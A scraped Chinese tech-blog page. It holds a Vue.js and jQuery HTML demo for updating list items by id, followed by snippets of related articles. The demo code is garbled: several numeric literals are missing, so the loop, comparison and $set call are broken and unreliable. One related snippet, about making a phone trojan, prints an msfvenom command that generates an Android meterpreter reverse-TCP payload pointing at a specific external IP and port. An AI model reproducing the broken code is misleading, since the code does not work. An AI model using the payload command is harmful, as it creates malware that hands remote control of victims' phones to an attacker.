<!DOCTYPE html>

<html>

<head>

    <meta charset="utf-8" />

    <title></title>

    <script src="../Scripts/jquery-1.10.2.min.js"></script>

</head>

<body>

        <div id="matchList" >

            <input type="button" value="刷新" onclick="refesh()" />

            <div v-for="(item,index) in eventList":id="item.id">

                    {{item.name}}

            </div>

        </div>

    <script src="https://cdn.bootcss.com/vue/2.4.2/vue.min.js"></script>

    <script type="text/javascript">

        var data = [{ "id": "", "name": "hh1" }, { "id": "", "name": "hh2" }, { "id": "", "name": "hh3" }];

        var vm = null;

        vm=new Vue({

            el: "#matchList",

            data: {

                eventList: data

            }

        });

        var eventNum = -;

        function refesh() {

            data = [{ "id": "", "name": "hh11" }];

            //vm.eventList = data;

            for (var i = ; i < data.length; i++) {

                var name = data[i].name;

                var id = data[i].id;

                var item = $(vm.eventList).filter(function (index, item) { if (item.id == id) { eventNum = index; } }); 

                if (eventNum > -) {

                    console.log(eventNum);

                    vm.eventList[eventNum] = data[i];

                    console.log(vm.eventList[]);

                }

            }

            //vm.eventList[0] = data[0];

            vm.$set(vm.eventList, , vm.eventList[]);

        }

    </script>

</body>

</html>

Vue.js根据列表某列值更新filter的更多相关文章

  1. Vue.js的列表数据的同步更新方法

    这次给大家带来Vue.js的列表数据的同步更新方法,Vue.js列表数据同步更新方法的注意事项有哪些,下面就是实战案例,一起来看一下. 数组的 push(),pop(),shift(),unshift ...

  2. vue.js 同级组件之间的值传递方法(uni-app通用)

    vue.js 兄弟组件之间的值传递方法 https://blog.csdn.net/jingtian678/article/details/81634149

  3. 关于vue.js中列表渲染练习

    html: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8 ...

  4. 使用Vue.js实现列表选中效果

     实际项目中,我们会遇到很多类似的需求,一个列表,需要点击其中一条高亮显示.熟悉JQuery的同学说这个太简单了.可以给这个选中的element设置一个active的class.配合Css样式,让ac ...

  5. vue.js对列表进行编辑未保存随时变更

    1.不要建立在同一vm对象下 2.使用深拷贝$.extend(true, vm.model, obj); 3.开新标签页

  6. vue.js循环for（列表渲染）详解

    vue.js循环for(列表渲染)详解 一.总结 一句话总结: v-for <ul id="example-1"> <li v-for="item in ...

  7. 从零开始学习Vue.js，学习笔记

    一.为什么学习vue.js methods 只有纯粹的数据逻辑,而不是去处理 DOM 事件细节. vue.js兼具angular.js和react的优点,并且剔除了他们的缺点 官网:http://cn ...

  8. Vue.js安装使用教程

    一.说明 上大学前,请的都是前端JavaScript.后端ASP/PHP/JSP.前后端代码混杂:上大学时,请的都是前端Jquery.后端SSH.前后端代码分离通过模板关联:大学出来后,请的都是前端三 ...

  9. Vue.js快速介绍-超级马里奥像素艺术

    原文出处:Quick Introduction to Vue.js - Super Mario Pixel Art ::代码我已经归纳在github上:[vue2-pixel-art]::::__查看 ...

随机推荐

  1. DOM拓展

    DOM拓展 1.选择符API 所谓选择符API即是根据css选择符选择与某个模式相匹配的DOM元素,jQuery的核心就是通过css选择符查询DOM文档取得元素的引用,从而抛弃了原有繁琐的getELe ...

  2. 1c19b35b005744d55261682b361804fa 这个是MD5

    1c19b35b005744d55261682b361804fa   这个是MD51c19b35b005744d55261682b361804fa   这个是MD51c19b35b005744d552 ...

  3. msfconsole弄外网手机木马

    创建个通道./ngrok tcp 1113 msfvenom -p android/meterpreter/reverse_tcp LHOST=52.15.62.13 LPORT=17016 R &g ...

  4. JavaScript for in的缺陷

    for in 语句用来列举对象的属性(成员),如下 1 2 3 4 5 6 7 var obj = { name:"jack",       getName:function(){ ...

  5. NowCoderWannafly挑战赛3-B.遇见

    遇见 时间限制:C/C++ 1秒,其他语言2秒空间限制:C/C++ 65536K,其他语言131072K64bit IO Format: %lld 题目描述 A和B在同一条路上,他们之间的距离为 k ...

  6. A + B Problem II（大数加法）

    http://acm.hdu.edu.cn/showproblem.php?pid=1002 A + B Problem II Time Limit: 2000/1000 MS (Java/Other ...

  7. js实现深拷贝和浅拷贝

    浅拷贝: 思路----------把父对象的属性,全部拷贝给子对象,实现继承. 问题---------如果父对象的属性等于数组或另一个对象,那么实际上,子对象获得的只是一个内存地址,不会开辟新栈,不是 ...

  8. 完整CentOS搭建OpenVPN服务详细教程

    一.介绍 1.定义 ① OpenVPN是一个用于创建虚拟专用网络加密通道的软件包,最早由James Yonan编写.OpenVPN允许创建的VPN使用公开密钥.电子证书.或者用户名/密码来进行身份验证 ...

  9. MFC中打开一个获取路径的对话框

    不废话,上代码 CString m_FileDir; BROWSEINFO bi; ZeroMemory(&bi, sizeof(BROWSEINFO)); bi.hwndOwner = m_ ...

  10. python爬取拉勾网职位数据

    今天写的这篇文章是关于python爬虫简单的一个使用,选取的爬取对象是著名的招聘网站--拉钩网,由于和大家的职业息息相关,所以爬取拉钩的数据进行分析,对于职业规划和求职时的信息提供有很大的帮助. 完成 ...